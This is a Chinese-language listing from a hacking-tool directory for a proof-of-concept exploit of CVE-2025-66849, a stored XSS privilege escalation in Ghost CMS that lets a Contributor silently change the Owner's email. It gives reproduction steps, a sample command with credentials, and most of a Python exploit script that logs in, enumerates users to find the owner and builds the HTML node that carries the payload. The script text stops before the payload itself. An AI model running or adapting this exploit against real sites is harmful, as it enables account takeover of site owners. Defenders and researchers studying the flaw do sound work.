Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-66849 — Ghost CMS 权限提升 PoC | Kitploit
工具/GitHubGitHub/wojtekchwala/cve-2025-66849
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubwojtekchwala/cve-2025-66849

CVE-2025-66849

Ghost CMS 权限提升 PoC

查看仓库
95个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-66849

Ghost CMS 权限提升 PoC

摘要

在 Ghost Foundation Ghost CMS 6.4.0 及更早版本中,文章草稿编辑器内的 HTML 块未能正确清理或编码用户提供的内容,导致存储型跨站脚本(XSS)漏洞。具有 Contributor(贡献者)权限的用户可以在草稿中注入任意 JavaScript,当 Owner(所有者)账户查看该草稿时,脚本即会执行。这允许攻击者以 Owner 的身份执行特权操作。

漏洞概述

严重性:高

受影响版本:Ghost 6.4.0(截至 2025 年 10 月 20 日的最新版本)- Ghost CMS 6.4.0 及更早版本

复现步骤

为了演示该漏洞,需要搭建一个本地 Ghost CMS 实例并配置两个账户:

  1. Owner(所有者)账户 - 在 Ghost 安装过程中自动创建。

  2. Contributor(贡献者)账户 - 由 Owner 通过邀请新用户创建。Ghost 会向 Contributor 的电子邮件地址发送 Magic Link 以完成账户设置。

由于这是在本地执行的,因此应安装诸如 MailHog 之类的邮件捕获工具(例如通过 Docker)。这样便可以拦截 Ghost 发送的 Magic Link,使 Contributor 能够自行激活其账户。

两个账户都激活后,即可使用漏洞利用脚本(contributor.py)。该脚本需要 Contributor 的登录凭据,以及在成功利用后将被分配给 Owner 账户的新电子邮件地址。

脚本参数如下:

-u / --username      Contributor username (email)
-p / --password      Contributor password
-e / --new-email     New email address to be set on the Owner account
--url                Ghost instance URL (optional)

在终端中运行脚本,请使用:

python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'

执行时,脚本会自动创建一个新的文章草稿,并在易受攻击的 HTML 块中嵌入恶意 JavaScript 载荷。

要触发存储型 XSS,Owner 只需预览草稿:在 Ghost 管理面板中打开该草稿并点击“预览”(Preview)。注入的脚本将以 Owner 的权限在后台执行,并且 Owner 不会收到其电子邮件地址已被更改的通知。

import requests
import json
import argparse

class GhostCMSSession:
    def __init__(self, ghost_url="http://localhost:2368"):
        self.ghost_url = ghost_url.rstrip('/')
        self.api_url = f"{self.ghost_url}/ghost/api/admin"
        self.session = requests.Session()
        self.authenticated = False
        self.current_user = None
        self.owner_user = None

        self.session.headers.update({
            'Origin': self.ghost_url,
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        })

    def login(self, username, password):
        """Login to Ghost with username and password"""
        login_url = f"{self.api_url}/session/"
        payload = {"username": username, "password": password}

        try:
            response = self.session.post(login_url, json=payload)

            if response.status_code == 201:
                print(f"✓ Successfully logged in as {username}")
                self.authenticated = True
                self.current_user = self.get_current_user()
                self.owner_user = self.get_owner_user()
                return True
            else:
                print(f"✗ Login failed: {response.status_code}")
                return False
        except Exception as e:
            print(f"✗ Login error: {str(e)}")
            return False

    def get_current_user(self):
        """Get current user information"""
        if not self.authenticated:
            return None

        try:
            url = f"{self.api_url}/users/me/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                user = data['users'][0]

                print(f"\n  Current User: {user.get('name', 'Unknown')}")
                print(f"  Email: {user.get('email', 'Unknown')}")
                print(f"  User ID: {user.get('id', 'Unknown')}")

                if 'roles' in user and user['roles']:
                    role = user['roles'][0]
                    if isinstance(role, dict):
                        print(f"  Role: {role.get('name', 'Unknown')}")

                return user
            return None
        except Exception as e:
            print(f"  Error fetching user: {str(e)}")
            return None

    def get_owner_user(self):
        """Fetch all users and find the owner - return full user object"""
        if not self.authenticated:
            return None

        try:
            print(f"\n  Fetching all users to find owner...")
            url = f"{self.api_url}/users/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                users = data.get('users', [])

                print(f"  Found {len(users)} users")

                for user in users:
                    if 'roles' in user and user['roles']:
                        role = user['roles'][0]
                        role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()

                        print(f"    - {user.get('name')} ({user.get('email')}) - Role: {role_name}")

                        if role_name == 'owner' or role_name == 'administrator':
                            print(f"\n  ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
                            print(f"    Slug: {user.get('slug')}")
                            print(f"    Email: {user.get('email')}")
                            return user

                return None
            return None
        except Exception as e:
            print(f"  ✗ Error fetching users: {str(e)}")
            return None

    def create_lexical_with_html(self, html_content):
        """Create Lexical format with HTML node (as a JSON string)"""
        lexical_structure = {
            "root": {
                "children": [
                    {
                        "type": "html",
                        "version": 1,
                        "html": html_content,
                        "visibility": {
                            "web": {
                                "nonMember": True,
                                "memberSegment": "status:free,status:-free"
                            },
                            "email": {
                                "memberSegment": "status:free,status:-free"
                            }
                        }
                    },
                    {
                        "children": [],
                        "direction": None,
                        "format": "",
                        "indent": 0,
                        "type": "paragraph",
                        "version": 1
                    }
                ],
                "direction": None,
                "format": "",
                "indent": 0,
                "type": "root",
                "version": 1
            }
        }
        return json.dumps(lexical_structure)

    def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
        """Create a post with Lexical HTML content"""
        if not self.authenticated or not self.current_user:
            print("✗ Not authenticated")
            return None

        if not self.owner_user:
            print("✗ Owner user not found")
            return None

        author_id = self.current_user.get('id')
        owner_id = self.owner_user.get('id')
        owner_slug = self.owner_user.get('slug')
        owner_name = self.owner_user.get('name')

        print(f"\n  Creating post with CONTRIBUTOR as author")
        print(f"  Author ID: {author_id} ({self.current_user.get('name')})")
        print(f"  Target Owner ID: {owner_id}")
        print(f"  Target Owner Slug: {owner_slug}")
        print(f"  Target Owner Name: {owner_name}")
下载工具